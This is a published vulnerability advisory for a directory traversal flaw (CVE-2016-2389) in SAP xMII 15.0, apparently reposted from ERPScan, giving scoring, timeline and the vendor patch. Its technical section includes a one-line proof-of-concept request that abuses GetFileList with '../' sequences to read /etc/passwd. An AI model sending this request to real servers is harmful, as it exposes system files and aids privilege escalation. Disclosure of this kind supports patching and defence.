SAP xMII 15.0 - Directory Traversal

Application: SAP xMII
 
Versions Affected: SAP MII 15.0
 
Vendor URL: http://SAP.com
 
Bugs: Directory traversal
 
Sent: 29.07.2015
 
Reported: 29.07.2015
 
Vendor response: 30.07.2015
 
Date of Public Advisory: 09.02.2016
 
Reference: SAP Security Note 2230978
 
Author:  Dmitry Chastuhin (ERPScan)
 
 
 
 
Description
 
 
 
1. ADVISORY INFORMATION
 
Title: SAP xMII – directory traversal vulnerability
 
Advisory ID: [ERPSCAN-16-009]
 
Risk: high priority
 
Advisory URL: https://erpscan.com/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/
 
Date published: 09.02.2016
 
Vendors contacted: SAP
 
 
2. VULNERABILITY INFORMATION
 
Class: [CWE-36]
 
Impact: SAP xMII directory traversal, read file from server
 
Remotely Exploitable: Yes
 
Locally Exploitable: No
 
CVE: CVE-2016-2389
 
 
CVSS Information
 
CVSS Base Score v3:  7.5  / 10
 
CVSS Base Vector:
 
AV : Access Vector (Related exploit range) Network (N)
 
AC : Access Complexity (Required attack complexity) Low (L)
 
Au : Authentication (Level of authentication needed to exploit) None (N)
 
C : Impact to Confidentiality High (H)
 
I  : Impact to Integrity None(N)
 
A : Impact to Availability None (N)
 
 
3. VULNERABILITY DESCRIPTION
 
An attacker can use a special request to read files from a server to
escalate his or her privileges.
 
 
4. VULNERABLE PACKAGES
 
SAP MII 15.0
 
 
5. SOLUTIONS AND WORKAROUNDS
 
To correct this vulnerability, install SAP Security Note 2230978
 
 
 
6. AUTHOR
 
Dmitry Chastuhin (ERPScan)
 
 
7. TECHNICAL DESCRIPTION
 
An attacker can use xMII function GetFileList to read files from the server.
 
PoC
 
GET /XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd
 
 
 
 
8. REPORT TIMELINE
 
Sent:                                       29.07.2015
 
Reported: 29.07.2015
 
Vendor response: 30.07.2015
 
Date of Public Advisory: 09.02.2016
 
 
 
9. REFERENCES
 
https://erpscan.com/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/

#  0day.today [2018-01-02]  #